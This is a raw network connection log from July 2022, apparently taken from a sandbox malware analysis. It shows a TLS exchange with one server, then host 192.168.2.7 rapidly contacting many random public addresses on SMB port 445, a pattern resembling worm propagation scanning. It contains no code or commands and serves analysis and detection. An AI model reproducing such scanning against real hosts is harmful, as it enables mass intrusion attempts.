Jul 20, 2022 19:09:03.150949001 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150973082 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151002884 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151007891 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151036024 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151043892 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151057959 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151062965 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151091099 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151110888 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151119947 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151140928 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151160955 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151191950 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151196957 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151218891 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151236057 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151245117 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151278019 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151283026 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151293039 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151310921 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151329041 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151335955 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151370049 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151390076 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151416063 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151438951 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151470900 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151470900 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151474953 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151482105 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151501894 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151527882 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151534081 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151561022 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151570082 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151599884 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151607037 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151612043 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151640892 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151644945 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151667118 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151696920 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151704073 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151736975 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151757956 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151761055 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151765108 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151772022 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151793957 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151823997 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151835918 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151895046 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151901960 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151912928 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151931047 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151952028 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151959896 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151978016 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.151985884 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.151987076 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152008057 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152014971 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152026892 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152049065 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152097940 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152103901 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152112961 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152133942 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152160883 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152174950 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152195930 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152230024 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152236938 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152256012 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152256012 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152278900 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152282000 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152291059 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152295113 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152333021 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152365923 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152367115 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152379036 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152412891 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152468920 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152510881 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152538061 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152545929 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152565002 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152581930 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152586937 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152595997 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152618885 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152631044 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152683973 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152690887 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152707100 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152740955 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152748108 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152771950 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152796030 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152808905 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152825117 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152847052 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152863026 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152901888 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152925968 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152932882 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152940035 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152944088 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152956963 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.152987003 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.152996063 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153023005 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153043985 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153100967 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153125048 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153181076 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153188944 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153203011 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153228045 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153291941 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153297901 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153304100 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153311014 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153316975 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153332949 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153354883 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153361082 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153392076 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153415918 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153424978 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153449059 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153490067 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153497934 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153511047 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153529882 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153532028 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153548002 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153556108 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153599977 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153613091 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153626919 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153634071 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153667927 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153717041 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153738976 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153789043 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153796911 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153810978 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153834105 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153840065 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153847933 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153891087 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153918982 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153923035 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.153929949 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.153963089 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.154031992 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.154056072 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.154113054 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.154119968 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.154131889 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.154154062 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.154165030 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.154170990 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.154206038 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.154225111 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.154247999 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.154278994 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.255481958 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.255506992 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.255539894 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.255563974 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.255716085 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.255734921 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.255757093 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.255781889 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.255800962 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.255904913 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.255918980 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.255944014 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.256025076 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.256108046 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.256581068 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.257097006 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.258553028 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.258579969 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.258596897 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.259197950 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.536948919 CEST	53575	445	192.168.2.7	130.81.137.10
Jul 20, 2022 19:09:03.537482023 CEST	53576	445	192.168.2.7	116.210.240.84
Jul 20, 2022 19:09:03.539529085 CEST	53580	445	192.168.2.7	59.165.67.170
Jul 20, 2022 19:09:03.597567081 CEST	53581	445	192.168.2.7	203.53.224.48
Jul 20, 2022 19:09:03.696903944 CEST	53587	445	192.168.2.7	38.76.118.53
Jul 20, 2022 19:09:03.710469961 CEST	53588	445	192.168.2.7	220.136.245.199
Jul 20, 2022 19:09:03.711199045 CEST	53590	445	192.168.2.7	97.77.41.237
Jul 20, 2022 19:09:03.711322069 CEST	53593	445	192.168.2.7	218.127.138.126
Jul 20, 2022 19:09:03.711325884 CEST	53591	445	192.168.2.7	203.129.120.44
Jul 20, 2022 19:09:03.711344957 CEST	53589	445	192.168.2.7	38.55.193.90
Jul 20, 2022 19:09:03.711374044 CEST	53592	445	192.168.2.7	62.204.29.121
Jul 20, 2022 19:09:03.711441040 CEST	53594	445	192.168.2.7	197.204.10.49
Jul 20, 2022 19:09:03.711536884 CEST	53597	445	192.168.2.7	160.208.240.191
Jul 20, 2022 19:09:03.711635113 CEST	53596	445	192.168.2.7	195.70.122.211
Jul 20, 2022 19:09:03.711647987 CEST	53598	445	192.168.2.7	184.156.168.210
Jul 20, 2022 19:09:03.711668015 CEST	53599	445	192.168.2.7	220.4.184.149
Jul 20, 2022 19:09:03.711831093 CEST	53604	445	192.168.2.7	171.197.207.82
Jul 20, 2022 19:09:03.711878061 CEST	53605	445	192.168.2.7	48.136.205.181
Jul 20, 2022 19:09:03.711980104 CEST	53607	445	192.168.2.7	30.71.220.122
Jul 20, 2022 19:09:03.711998940 CEST	53608	445	192.168.2.7	145.201.77.104
Jul 20, 2022 19:09:03.712097883 CEST	53609	445	192.168.2.7	200.230.98.28
Jul 20, 2022 19:09:03.712321043 CEST	53617	445	192.168.2.7	133.187.156.56
Jul 20, 2022 19:09:03.724816084 CEST	53621	445	192.168.2.7	186.89.21.150
Jul 20, 2022 19:09:03.729228020 CEST	53623	445	192.168.2.7	166.66.15.242
Jul 20, 2022 19:09:03.729402065 CEST	53622	445	192.168.2.7	14.62.101.192
Jul 20, 2022 19:09:03.729594946 CEST	53624	445	192.168.2.7	101.109.210.88
Jul 20, 2022 19:09:03.729799032 CEST	53629	445	192.168.2.7	122.6.103.65
Jul 20, 2022 19:09:03.729814053 CEST	53625	445	192.168.2.7	165.246.206.8
Jul 20, 2022 19:09:03.729830980 CEST	53631	445	192.168.2.7	134.81.211.189
Jul 20, 2022 19:09:03.737346888 CEST	53214	445	192.168.2.7	192.56.37.106
Jul 20, 2022 19:09:03.924849033 CEST	53256	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:04.237380981 CEST	53259	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:04.660425901 CEST	53638	445	192.168.2.7	99.246.200.96
Jul 20, 2022 19:09:04.661463976 CEST	53639	445	192.168.2.7	21.30.41.155
Jul 20, 2022 19:09:04.664707899 CEST	53643	445	192.168.2.7	109.57.29.97
Jul 20, 2022 19:09:04.725872993 CEST	53645	445	192.168.2.7	112.228.60.39
Jul 20, 2022 19:09:04.817094088 CEST	53647	445	192.168.2.7	144.102.136.80
Jul 20, 2022 19:09:04.848911047 CEST	53651	445	192.168.2.7	62.210.131.98
Jul 20, 2022 19:09:04.851670027 CEST	53656	445	192.168.2.7	118.0.203.122
Jul 20, 2022 19:09:04.852688074 CEST	53658	445	192.168.2.7	178.216.244.212
Jul 20, 2022 19:09:04.853205919 CEST	53659	445	192.168.2.7	170.198.66.125
Jul 20, 2022 19:09:04.854170084 CEST	53660	445	192.168.2.7	222.116.168.234
Jul 20, 2022 19:09:04.854959965 CEST	53662	445	192.168.2.7	207.221.74.198
Jul 20, 2022 19:09:04.859648943 CEST	53669	445	192.168.2.7	185.44.186.203
Jul 20, 2022 19:09:04.861093998 CEST	53671	445	192.168.2.7	141.175.53.185
Jul 20, 2022 19:09:04.861855030 CEST	53672	445	192.168.2.7	3.99.249.51
Jul 20, 2022 19:09:04.863533974 CEST	53673	445	192.168.2.7	161.109.151.165
Jul 20, 2022 19:09:04.864095926 CEST	53674	445	192.168.2.7	105.228.130.96
Jul 20, 2022 19:09:04.865942001 CEST	53675	445	192.168.2.7	25.2.26.177
Jul 20, 2022 19:09:04.875869036 CEST	53676	445	192.168.2.7	94.213.127.52
Jul 20, 2022 19:09:04.877523899 CEST	53678	445	192.168.2.7	89.4.174.126
Jul 20, 2022 19:09:04.878154039 CEST	53679	445	192.168.2.7	208.166.77.152
Jul 20, 2022 19:09:04.879014969 CEST	53680	445	192.168.2.7	220.139.66.156
Jul 20, 2022 19:09:04.879931927 CEST	445	53651	62.210.131.98	192.168.2.7
Jul 20, 2022 19:09:04.899092913 CEST	53682	445	192.168.2.7	60.113.171.14
Jul 20, 2022 19:09:04.900341988 CEST	53685	445	192.168.2.7	163.118.67.114
Jul 20, 2022 19:09:04.900373936 CEST	53681	445	192.168.2.7	216.94.84.71
Jul 20, 2022 19:09:04.900511980 CEST	53690	445	192.168.2.7	95.244.16.67
Jul 20, 2022 19:09:04.900584936 CEST	53692	445	192.168.2.7	99.228.134.110
Jul 20, 2022 19:09:04.900638103 CEST	53693	445	192.168.2.7	181.116.141.71
Jul 20, 2022 19:09:04.900677919 CEST	53687	445	192.168.2.7	90.24.122.217
Jul 20, 2022 19:09:04.900696039 CEST	53694	445	192.168.2.7	156.27.23.59
Jul 20, 2022 19:09:04.901916027 CEST	53696	445	192.168.2.7	55.97.235.204
Jul 20, 2022 19:09:05.200555086 CEST	445	53682	60.113.171.14	192.168.2.7
Jul 20, 2022 19:09:05.440661907 CEST	53651	445	192.168.2.7	62.210.131.98
Jul 20, 2022 19:09:05.471822023 CEST	445	53651	62.210.131.98	192.168.2.7
Jul 20, 2022 19:09:05.721872091 CEST	53682	445	192.168.2.7	60.113.171.14
Jul 20, 2022 19:09:05.792644978 CEST	53702	445	192.168.2.7	213.16.197.178
Jul 20, 2022 19:09:05.795408010 CEST	53706	445	192.168.2.7	1.10.206.239
Jul 20, 2022 19:09:05.796142101 CEST	53707	445	192.168.2.7	209.75.39.206
Jul 20, 2022 19:09:05.847959995 CEST	53708	445	192.168.2.7	217.228.55.206
Jul 20, 2022 19:09:05.943450928 CEST	53712	445	192.168.2.7	2.153.14.116
Jul 20, 2022 19:09:05.974118948 CEST	53716	445	192.168.2.7	207.38.20.87
Jul 20, 2022 19:09:05.974874020 CEST	53717	445	192.168.2.7	83.148.130.100
Jul 20, 2022 19:09:05.975771904 CEST	53718	445	192.168.2.7	18.88.201.56
Jul 20, 2022 19:09:05.977389097 CEST	53720	445	192.168.2.7	39.84.15.70
Jul 20, 2022 19:09:05.982404947 CEST	53727	445	192.168.2.7	156.152.241.16
Jul 20, 2022 19:09:05.983664036 CEST	53729	445	192.168.2.7	63.27.154.147
Jul 20, 2022 19:09:05.984471083 CEST	53730	445	192.168.2.7	199.59.139.103
Jul 20, 2022 19:09:05.985075951 CEST	53731	445	192.168.2.7	131.218.180.223
Jul 20, 2022 19:09:05.987839937 CEST	53736	445	192.168.2.7	74.90.191.215
Jul 20, 2022 19:09:05.988383055 CEST	53737	445	192.168.2.7	157.95.244.112
Jul 20, 2022 19:09:05.988904953 CEST	53738	445	192.168.2.7	29.16.156.172
Jul 20, 2022 19:09:05.989419937 CEST	53739	445	192.168.2.7	120.94.97.134
Jul 20, 2022 19:09:05.989927053 CEST	53740	445	192.168.2.7	219.67.238.209
Jul 20, 2022 19:09:05.990456104 CEST	53741	445	192.168.2.7	87.83.91.209
Jul 20, 2022 19:09:05.990989923 CEST	53742	445	192.168.2.7	86.155.39.75
Jul 20, 2022 19:09:05.992001057 CEST	53744	445	192.168.2.7	182.190.228.127
Jul 20, 2022 19:09:06.024034023 CEST	445	53682	60.113.171.14	192.168.2.7
Jul 20, 2022 19:09:06.040879011 CEST	53745	445	192.168.2.7	167.129.234.184
Jul 20, 2022 19:09:06.040913105 CEST	53746	445	192.168.2.7	61.212.11.143
Jul 20, 2022 19:09:06.041517019 CEST	53748	445	192.168.2.7	63.183.252.80
Jul 20, 2022 19:09:06.041656017 CEST	53750	445	192.168.2.7	194.43.52.33
Jul 20, 2022 19:09:06.041760921 CEST	53751	445	192.168.2.7	65.13.22.48
Jul 20, 2022 19:09:06.041858912 CEST	53752	445	192.168.2.7	203.186.141.205
Jul 20, 2022 19:09:06.041968107 CEST	53754	445	192.168.2.7	183.51.242.69
Jul 20, 2022 19:09:06.042223930 CEST	53757	445	192.168.2.7	104.208.167.104
Jul 20, 2022 19:09:06.042346001 CEST	53761	445	192.168.2.7	65.176.99.1
Jul 20, 2022 19:09:06.184803963 CEST	80	50084	142.250.184.78	192.168.2.7
Jul 20, 2022 19:09:06.184889078 CEST	50084	80	192.168.2.7	142.250.184.78
Jul 20, 2022 19:09:06.914679050 CEST	53769	445	192.168.2.7	124.239.65.65
Jul 20, 2022 19:09:06.914751053 CEST	53771	445	192.168.2.7	179.16.19.205
Jul 20, 2022 19:09:06.914767981 CEST	53770	445	192.168.2.7	122.208.191.175
Jul 20, 2022 19:09:06.973337889 CEST	53772	445	192.168.2.7	85.240.220.105
Jul 20, 2022 19:09:07.067667007 CEST	53777	445	192.168.2.7	35.156.150.154
Jul 20, 2022 19:09:07.120397091 CEST	53782	445	192.168.2.7	155.185.15.150
Jul 20, 2022 19:09:07.120534897 CEST	53784	445	192.168.2.7	178.189.230.220
Jul 20, 2022 19:09:07.120548964 CEST	53785	445	192.168.2.7	113.227.174.38
Jul 20, 2022 19:09:07.120656967 CEST	53787	445	192.168.2.7	209.104.203.218
Jul 20, 2022 19:09:07.120865107 CEST	53794	445	192.168.2.7	17.0.108.88
Jul 20, 2022 19:09:07.120958090 CEST	53796	445	192.168.2.7	1.114.214.26
Jul 20, 2022 19:09:07.121023893 CEST	53797	445	192.168.2.7	135.101.233.134
Jul 20, 2022 19:09:07.121103048 CEST	53798	445	192.168.2.7	180.231.40.125
Jul 20, 2022 19:09:07.123414993 CEST	53800	445	192.168.2.7	111.78.242.67
Jul 20, 2022 19:09:07.123428106 CEST	53801	445	192.168.2.7	61.110.17.158
Jul 20, 2022 19:09:07.123578072 CEST	53802	445	192.168.2.7	37.15.24.189
Jul 20, 2022 19:09:07.123610020 CEST	53803	445	192.168.2.7	92.11.203.100
Jul 20, 2022 19:09:07.123712063 CEST	53805	445	192.168.2.7	4.72.0.214
Jul 20, 2022 19:09:07.123745918 CEST	53806	445	192.168.2.7	97.97.127.39
Jul 20, 2022 19:09:07.123900890 CEST	53807	445	192.168.2.7	55.200.6.30
Jul 20, 2022 19:09:07.167682886 CEST	53811	445	192.168.2.7	47.191.8.135
Jul 20, 2022 19:09:07.167731047 CEST	53810	445	192.168.2.7	131.29.0.89
Jul 20, 2022 19:09:07.167928934 CEST	53812	445	192.168.2.7	5.39.1.88
Jul 20, 2022 19:09:07.167938948 CEST	53816	445	192.168.2.7	89.10.184.170
Jul 20, 2022 19:09:07.168088913 CEST	53820	445	192.168.2.7	219.198.160.132
Jul 20, 2022 19:09:07.168601036 CEST	53822	445	192.168.2.7	135.124.36.184
Jul 20, 2022 19:09:07.168603897 CEST	53824	445	192.168.2.7	102.207.117.132
Jul 20, 2022 19:09:07.168605089 CEST	53819	445	192.168.2.7	94.101.7.197
Jul 20, 2022 19:09:07.168627977 CEST	53825	445	192.168.2.7	196.157.139.7
Jul 20, 2022 19:09:07.219958067 CEST	445	53816	89.10.184.170	192.168.2.7
Jul 20, 2022 19:09:07.721988916 CEST	53816	445	192.168.2.7	89.10.184.170
Jul 20, 2022 19:09:07.774585962 CEST	445	53816	89.10.184.170	192.168.2.7
Jul 20, 2022 19:09:08.037607908 CEST	53834	445	192.168.2.7	69.187.209.62
Jul 20, 2022 19:09:08.037740946 CEST	53836	445	192.168.2.7	175.62.35.217
Jul 20, 2022 19:09:08.037746906 CEST	53835	445	192.168.2.7	38.85.31.45
Jul 20, 2022 19:09:08.097793102 CEST	53837	445	192.168.2.7	114.34.247.19
Jul 20, 2022 19:09:08.192646980 CEST	53842	445	192.168.2.7	167.23.30.109
Jul 20, 2022 19:09:08.238636971 CEST	53845	445	192.168.2.7	1.74.18.141
Jul 20, 2022 19:09:08.263525963 CEST	53849	445	192.168.2.7	142.177.157.246
Jul 20, 2022 19:09:08.263550997 CEST	53850	445	192.168.2.7	84.228.71.87
Jul 20, 2022 19:09:08.263664007 CEST	53852	445	192.168.2.7	80.31.227.26
